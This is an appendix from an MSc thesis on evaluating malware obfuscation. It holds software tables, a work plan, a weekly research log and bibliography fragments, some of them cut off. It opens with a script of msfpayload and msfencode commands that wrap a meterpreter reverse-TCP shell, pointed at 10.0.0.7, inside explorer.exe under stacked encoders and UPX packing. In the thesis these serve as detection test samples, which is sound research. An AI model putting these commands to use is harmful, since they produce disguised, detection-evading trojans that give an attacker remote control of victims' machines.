msfpayload windows/meterpreter/reverse_tcp LHOST=10.0.0.7 LPORT=6666 R | msfencode −e x86/fnstenv_mov −t exe −x ./explorer.exe −k −c 10 > explorer_fnstenv.exe

# Dynamic primitive impl

# Shikata–Ga–Nai – Polymorphic XOR Additive Feedback Encoder
msfpayload windows/meterpreter/reverse_tcp LHOST=10.0.0.7 LPORT=6666 R | msfencode −e x86/shikata_ga_nai −t exe −x ./explorer.exe −k −c 10 > explorer_shi.exe

# Bloxor – Metamorphic Block Based XOR Encoder
msfpayload windows/meterpreter/reverse_tcp LHOST=10.0.0.7 LPORT=6666 R | msfencode −e x86/bloxor −t exe −x ./explorer.exe −k −c 10 > explorer_blo.exe

# Composition

# UPX + Fnstenv + Shikata
msfpayload windows/meterpreter/reverse_tcp LHOST=10.0.0.7 LPORT=6666 R | msfencode −e x86/fnstenv_mov −t raw −x ./explorer.exe −k −c 10 | msfencode −e x86/shikata_ga_nai −t exe −x ./explorer.exe −k −c 10 > explorer_fnstenv_shi.exe
upx explorer_fnstenv_shi.exe

# UPX + CPUID + XOR + Fnstenv + Shikata + Bloxor
msfpayload windows/meterpreter/reverse_tcp LHOST=10.0.0.7 LPORT=6666 R | msfencode −e x86/context_cpuid −t raw −x ./explorer.exe
exe -k -c 10 | msfencode -e x86/countdown -t raw -x ./explorer.exe -k -c 10 | msfencode -e x86/fnstenv_mov -t raw -x ./explorer.exe -k -c 10 | msfencode -e x86/shikata_ga_nai -t raw -x ./explorer.exe -k -c 10 | msfencode -e x86/bloxor -t exe -x ./explorer.exe -k -c 10 > explorer_all.exe

52 upx explorer_all.exe

Listing A.11: transformationMockGen.sh
Do what you love and the necessary resources will follow.

Peter McWilliams (1949 - 2000)

Software and Hardware used

B.1 Software

<table>
<thead>
<tr>
<th>Name</th>
<th>Version</th>
<th>Purpose</th>
</tr>
</thead>
<tbody>
<tr>
<td>APKtool</td>
<td>2.0.0</td>
<td>Reverse-engineering Android APK files</td>
</tr>
<tr>
<td>ConceptDraw</td>
<td>8.0.7.4</td>
<td>Creating graphics</td>
</tr>
<tr>
<td>Dex2Jar</td>
<td>0.0.9.15</td>
<td>Converting DEX source code to a JAR</td>
</tr>
<tr>
<td>IDA</td>
<td>6.6.140625</td>
<td>Disassembling &amp; analysing binaries</td>
</tr>
<tr>
<td>JD-GUI</td>
<td>0.3.5</td>
<td>Decompiling &amp; analysing Java classes</td>
</tr>
<tr>
<td>Kali Linux</td>
<td>1.0</td>
<td>Developing MOVE</td>
</tr>
<tr>
<td>\LaTeX(pdftex)</td>
<td>3.1415926-2.4-1.40.13</td>
<td>Report creation</td>
</tr>
<tr>
<td>MS Windows</td>
<td>XP / 7</td>
<td>Running and analysing malware samples</td>
</tr>
<tr>
<td>OS X</td>
<td>10.10.2 (Yosemite)</td>
<td>Main OS</td>
</tr>
<tr>
<td>OllyDbg</td>
<td>1.10</td>
<td>Debugging Windows malware samples</td>
</tr>
<tr>
<td>PEiD</td>
<td>0.95</td>
<td>Detecting packers</td>
</tr>
<tr>
<td>PEview</td>
<td>0.9.9</td>
<td>Analysing 32-bit Windows PE files</td>
</tr>
<tr>
<td>Python</td>
<td>2.7.6</td>
<td>Technology used for MOVE’s Business Layer</td>
</tr>
<tr>
<td>Smali/Baksmali</td>
<td>2.0.5</td>
<td>Converting DEX files to Smali and vice versa</td>
</tr>
<tr>
<td>SQLite</td>
<td>3.8.5</td>
<td>Persistence Layer of MOVE</td>
</tr>
<tr>
<td>Sublime Text</td>
<td>2.0.2</td>
<td>Main editor for writing and programming</td>
</tr>
<tr>
<td>UPX</td>
<td>3.91</td>
<td>Packing malware samples for MOVE tests</td>
</tr>
<tr>
<td>VirtualBox</td>
<td>4.3.6</td>
<td>Creating sand-boxes</td>
</tr>
<tr>
<td>Zotero</td>
<td>4.0.26.1</td>
<td>Managing Bibliography entries</td>
</tr>
</tbody>
</table>

Table B.1: Software used
## B.2 Hardware

<table>
<thead>
<tr>
<th>Specification</th>
<th>Purpose</th>
</tr>
</thead>
<tbody>
<tr>
<td>MacBook Pro, 15&quot;, 2.53 GHz, 8 GB 1067 MHz DDR3</td>
<td>Report writing, graphic creation</td>
</tr>
<tr>
<td>Mac Pro, 2x 2.4 GHz Quad-Core Intel Xeon, 8 GB 1066 MHz DDR3 ECC</td>
<td>Malware dissection (within sand boxed VMs), MOVE prototype development</td>
</tr>
<tr>
<td>Wacom Intuos 3</td>
<td>Designing and drawing</td>
</tr>
</tbody>
</table>

Table B.2: Hardware used
C.1 Work plan

I have prepared and used the following plan to master my thesis:

![Figure C.1: The MSc thesis work plan](image)

C.1.1 Tasks description

The tasks have been categorized as follows:

- **Documentation**
  This phase represents the writing of the MSc thesis report and goes through the whole MSc thesis period as shown in the schedule above.

- **Research / Body of Knowledge**
  The goal of this period is to gain in-depth knowledge concerning the world of obfuscation.
• Case Studies
  Selected malware samples are dissected in this period in order to analyse their obfuscation layers.

• Framework prototyping / Development
  In this phase, the gained knowledge is applied to design, prototype and develop a framework that is able to evaluate the effectiveness of malware-oriented obfuscation mechanisms.

• Testing & Evaluation
  The designed framework is then tested and its results are evaluated in this phase.

• Review
  At this stage, the whole project is reviewed.

• Finalization
  The last flaws are eliminated and the submission of the project is prepared in this final phase.

C.1.2 Milestones
The following milestones have been defined:

• Status Update (I-V)
  These milestones represent the status reports, which are sent to the supervisor.

• Packaging and Submission
  The MSc thesis report and the corresponding enclosures are packed and submitted to the University of London.
  *Planned day:* March 20, 2015

• Deadline
  It must be ensured that the MSc report is received at the University of London before the deadline of 31 March 2015. In addition, it is asked to do an electronic submission for which details will be posted in the Virtual Learning Environment (VLE).

C.1.3 Time management
I have reduced my workload to 80% with the goal to have at least three days free time per week. Furthermore, I have tried to use the evenings during the week for reading purposes. In addition, I have also planned to invest my holidays in December and February as the designing part of the envisaged framework could become quite tricky and time-consuming.

The total time available amounts to approximately **102 days** as shown in the schedule represented by Figure C.1.
C.2 Project history

Week 1: 01.10.2014
Log entry:
• Reading and summarizing the main points of the research paper *Limits of Static Analysis for Malware Detection*
• Preparing the structure of the Project Description Form (PDF)
• Collecting and flying over research papers to get a rough overview
• Ordering some interesting books concerning data hiding, obfuscation and malware analysis
• Reading and summarizing the main points of Christian Collberg’s book about surreptitious software

Week 2: 08.10.2014
Log entry:
• Reading and summarizing the main points of the research paper concerning ADAM
• Successfully retrieved the ADAM source code for reviewing purposes by contacting Mr. Min Zheng
• Reading and summarizing the main points of Christian Collberg’s book about surreptitious software

Week 3: 15.10.2014
Log entry:
• Writing up the Project Description Form (PDF)
• Reading and summarizing the main points of Christian Collberg’s book about surreptitious software

Week 4: 22.10.2014
Log entry:
• Writing up the Project Description Form (PDF)
• Reading and summarizing the main points of Christian Collberg’s book about surreptitious software
Week 5: 29.10.2014
Log entry:

- Reading and summarizing the main points of the research paper concerning DroidChameleon
- Successfully retrieved the DroidChameleon source code for reviewing purposes by contacting Mr. Vaibhav Rastogi who requested me to use the IEEE TIFS version for citation
- Dr. Cavallaro provided me with some interesting papers including the ones from DIMVA 2014
- The Project Description Form (PDF) has been finalized and sent to Dr. Cavallaro, who accepted the specification
- Reading and summarizing the main points of Milla Dalla Preda’s PhD thesis about Code Obfuscation and Malware Detection by Abstract Interpretation, which was very interesting, but also very challenging to read

Week 6: 05.11.2014
Log entry:

- Reading and summarizing the main points of Fritz Hohl’s paper about time limited blackbox security
- Reading and summarizing the main points of the research papers Poisoning Behavioral Malware Clustering
- Reading and summarizing the main points of the research papers On Entropy Measures for Code Obfuscation

Week 7: 12.11.2014
Log entry:

- Reading diverse articles about animal camouflage techniques
- Reading diverse articles about human viruses
- Borrowing my sister’s medicine study book about microbiology and reading the chapter about virology
- Reading the book Data Hiding of Michael Raggo and Chet Hosmer
- Browsing David Kahn’s master piece The Codebreakers
Week 8: 19.11.2014
Log entry:
• Writing chapter 1
• Improving the report structure
• Collecting ideas for the beta-version of the malware-oriented obfuscation evaluation framework

Week 9: 26.11.2014
Log entry:
• Writing chapter 1
• Writing chapter 2

Week 10: 03.12.2014
Log entry:
• Writing chapter 2
• Drawing the beta-version of the malware-oriented obfuscation evaluation framework
• Sending an early draft of the report (release version: 0.1) to Dr. Cavallaro

Week 11: 10.12.2014
Log entry:
• Reading diverse articles about the state-of-the-art obfuscation techniques used to protect software
• Writing chapter 2

Week 12: 17.12.2014
Log entry:
• Reading diverse articles about the state-of-the-art obfuscation techniques used to protect software
• Writing chapter 2

Log entry:
- Reading diverse articles about the state-of-the-art obfuscation techniques used to protect software
- Writing chapter 2


Log entry:
- Sketching the design of the cover
- Writing chapter 3
- Dissecting and analysing obfuscation layers of malware samples

Week 15: 07.01.2015

Log entry:
- Writing chapter 3
- Dissecting and analysing obfuscation layers of malware samples
- Designing a first approach for the evaluation of malware-oriented effectiveness

Week 16: 14.01.2015

Log entry:
- Writing chapter 3
- Dissecting and analysing obfuscation layers of malware samples
- Sending a new version of the report (release version: 0.2) to Dr. Cavallaro

Week 17: 21.01.2015

Log entry:
- Writing chapter 3
- Dissecting and analysing obfuscation layers of malware samples
Week 18: 28.01.2015

Log entry:
- Writing chapter 3
- Dissecting and analysing obfuscation layers of malware samples
- Designing a first draft of the DB design for the prototype

Week 19: 04.02.2015

Log entry:
- Receiving the final cover from Irwan
- Writing chapter 3
- Dissecting and analysing obfuscation layers of malware samples

Week 20: 11.02.2015

Log entry:
- Implementation of the MOVE prototype
- Evaluation of the test cases
- Writing chapter 4

Week 21: 18.02.2015

Log entry:
- Writing chapter 4

Week 22: 25.02.2015

Log entry:
- Writing chapter 4
- Writing chapter 5

Week 23: 04.03.2015

Log entry:
- Writing chapter 5
- Sending a new version of the report (release version: 0.3) to Dr. Cavallaro
Week 24: 11.03.2015
Log entry:
• Writing chapter 5

Week 25: 18.03.2015
Log entry:
• Sending a new version of the report (release version: 0.4) to Dr. Cavallaro
• Reviewing

Week 26: 25.03.2015
Log entry:
• Sending a new version of the report (release version: 0.5) to Dr. Cavallaro
• Reviewing
• Writing the Acknowledgement part
• Writing chapters 6-8
• Completing the parts Terminology, Notations and Abbreviations
• Completing the appendix
• Submitting the final version of the report (release version: 1.0)

C.3 Plan deviation

As I underestimated the effort required to analyse the malware samples, the whole plan delayed by two weeks. Fortunately, due to the planned buffer time and several night shifts, I still could finish my work in time.


[27] Steven M. Block. Living nightmares: Biological threats enabled by molecular biology. The new terror: Facing the threat of biological and chemical weapons, pages 39–75, 1999. 18


[67] Craig Gentry and Shai Halevi. Implementing gentry’s fully-homomorphic encryption scheme. 2010. 74


[85] Susan Horwitz. Precise flow-insensitive may-alias analysis is np-hard, 1997. 22


[97] Zhuge Jianwei, Gu Liang, and Duan Haixin. Investigating china’s online underground economy. University of California Institute on Global Conflict and Cooperation, 2012. 15


134


138


140


[213] Peter Szor. The Art of Computer Virus Research and Defense. Addison-Wesley Professional, 2005. 68, 70


cve.mitre.org/ [Date accessed: December 31, 2014]. 8

[228] w3Schools. onload event, 2015. Available at http://www.w3schools.com/
jsref/event_onload.asp [Date accessed: February 03, 2015]. 39

[229] Andrew Walenstein, Rachit Mathur, Mohamed Chouchane, and Arun Lakhotia. The design


stirring: Self-randomizing instruction addresses of legacy x86 binary


[234] Tao Wei, Min Zheng, Hui Xue, and Dawn Song. WITHOUT A SHELL - IOS
UNDER TARGETED ATTACK. 2014. 52

AIDS_%28Trojan_horse%29 [Date accessed: December 31, 2014]. 8

CryptoLocker [Date accessed: December 31, 2014]. 8

security/definition/exploit-kit [Date accessed: February 03, 2015]. xix

Zip_bomb [Date accessed: January 17, 2015]. 32

wiki/Computer_virus [Date accessed: February 03, 2015]. xix

wiki/Halting_problem [Date accessed: February 19, 2015]. 82


